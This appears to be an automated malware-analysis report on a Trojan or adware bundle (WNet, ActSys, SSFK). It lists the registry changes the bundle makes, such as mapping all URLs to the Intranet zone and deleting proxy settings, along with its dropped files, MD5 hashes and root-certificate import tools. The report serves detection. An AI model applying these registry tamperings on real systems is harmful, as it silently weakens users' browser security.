[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "37 36 E0 F7 84 7E 90 2B D8 04 56 F8 CE E8 62 2E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process DMZOYZYGB4j34h6c6LiO_is.exe:1808 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0A 2F 60 89 CF 1E 54 AE C7 A8 AC 86 D5 EB CB E9"

The process SFKEX.exe:3300 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 22 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "0A 80 59 E1 33 8A B9 E4 86 15 E6 6F 9B F1 25 43"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process nfregdrv.exe:1932 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "94 FE 25 38 EC B1 C3 28 99 68 88 F6 5B 37 7F D7"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "09 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

The process nfregdrv.exe:624 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "F0 97 AC F7 E2 A1 8E 4D E6 C3 8E 45 34 52 2B E2"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "08 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

The process SSFK.exe:2756 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\A]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 06 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\C]
"BaseClass" = "Drive"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\D]
"BaseClass" = "Drive"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\F]
"BaseClass" = "Drive"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4A 37 84 A4 11 1C 4D AE 32 6E 65 EA AD 16 54 CD"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_br.exe:1628 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "6C C7 21 B9 6D C6 A7 91 50 61 31 76 26 9A B4 54"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\WNet]
"Version" = "2.1.0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WNet]
"Comments" = "The best offers in internet just one click away from you (ID: 6Ru0qiwagrLxGxsTm3iFScdzp93rO)"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WNet]
"DisplayVersion" = "2.1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\WNet]
"Publisher" = "BR SOFTWARE"
"DisplayName" = "WNet"
"QuietUninstallString" = "%Program Files%\WNet\uninst.exe"
"UninstallString" = "%Program Files%\WNet\uninst.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process SSFK_v2.0.6.26.exe:908 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 21 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "E9 2E DF E5 31 67 1A 8B 58 27 87 6E 53 63 DB 9F"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_nj.exe:1472 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "48 2D A2 B1 33 66 64 A0 98 37 12 B0 65 9F C4 9B"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ActSys]
"DisplayName" = "ActSys"
"QuietUninstallString" = "%Program Files%\ActSys\remove_ActSys.exe /S"
"UninstallString" = "%Program Files%\ActSys\remove_ActSys.exe /S"
"Publisher" = "NINJASOFT"

[HKLM\SOFTWARE\ActSys]
"Version" = "2.1.0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\ActSys]
"Comments" = "Browse safe online with our product! It alerts you if a page is harmful for your computer (Build ID: QbtqQXJ7tqQnbvs6wlU6fNV)"
"DisplayVersion" = "2.1.0"

The process WNet.exe:1240 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\System\CurrentControlSet\Services\Tcpip\Parameters]
"DisableTaskOffload" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 03 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\System\CurrentControlSet\Services\ssfilterdrv]
"Tag" = "11"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\WNet]
"instid" = "cntWr7wdpwLSzP114aWiIK97RvaCIkvN"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\LocalService\Local Settings\History"

[HKLM\System\CurrentControlSet\Control\GroupOrderList]
"PNP_TDI" = "0A 00 00 00 05 00 00 00 01 00 00 00 02 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "CC 98 06 E8 66 7D B0 24 DE 40 32 5E B3 6F 85 48"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\LocalService\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\LocalService\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoConfigURL"
"ProxyServer"

The process WNet.exe:1140 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9A 12 34 82 47 C5 CF 75 5B A6 88 60 B5 D5 74 37"

The process %original file name%.exe:1980 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "9C 3D CC 93 59 04 EF 75 BE F8 4D 3C 01 BD 36 5E"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
809b39a1a036c20994e68cf322a2519a	c:\Documents and Settings\All Users\Application Data\rWdsManPror\WdsManPro.exe
4ef33080e04366b39b10883b6694972a	c:\Documents and Settings\"%CurrentUserName%"\Application Data\istartsurf\UninstallManager.exe
4580ac6f8adadb5ce9f296f7ff5b15dd	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\20150912040309\I\tmp\SSFK_v2.0.6.26.exe
4ef33080e04366b39b10883b6694972a	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\20150912040309\I\tmp\UninstallManager.exe
809b39a1a036c20994e68cf322a2519a	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\20150912040309\I\tmp\wpm_v20.0.0.2301.exe
1c76d7defa116a328f47036b54126e6c	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\import_root_cert.exe
a253cbbfbceee37dd90b999d26542038	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\certutil.exe
0847bc96e23565dbae072ca335a212c9	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\mozcrt19.dll
32b2685234074047263d4a0cc8bf5d56	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\nspr4.dll
09cacf1074663b90a88c2345f42425ff	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\nss3.dll
1cce55587f95d57759e36f387c4f9dee	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\plc4.dll
9b31fe86fac03999982dccbe2a0103ac	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\plds4.dll
031a02aadf62df41f8558a18e5d280a9	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\smime3.dll
b2ad88dd7b83b62695b764d1dadfc15d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\ActSys\SSL\nss\softokn3.dll
d704946e9d6a11585e315efb76c1fb49	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_a9.exe
4a55c7ba203a42c5f6014fa68c221b02	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO_ps.exe
85e934b4fb894451250c922119c9b21d	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\Temp\ODMZOYZYGB4j34h6c6LiODMZOYZYGB4j34h6c6LiO\DMZOYZYGB4j34h6c6LiO_is.exe
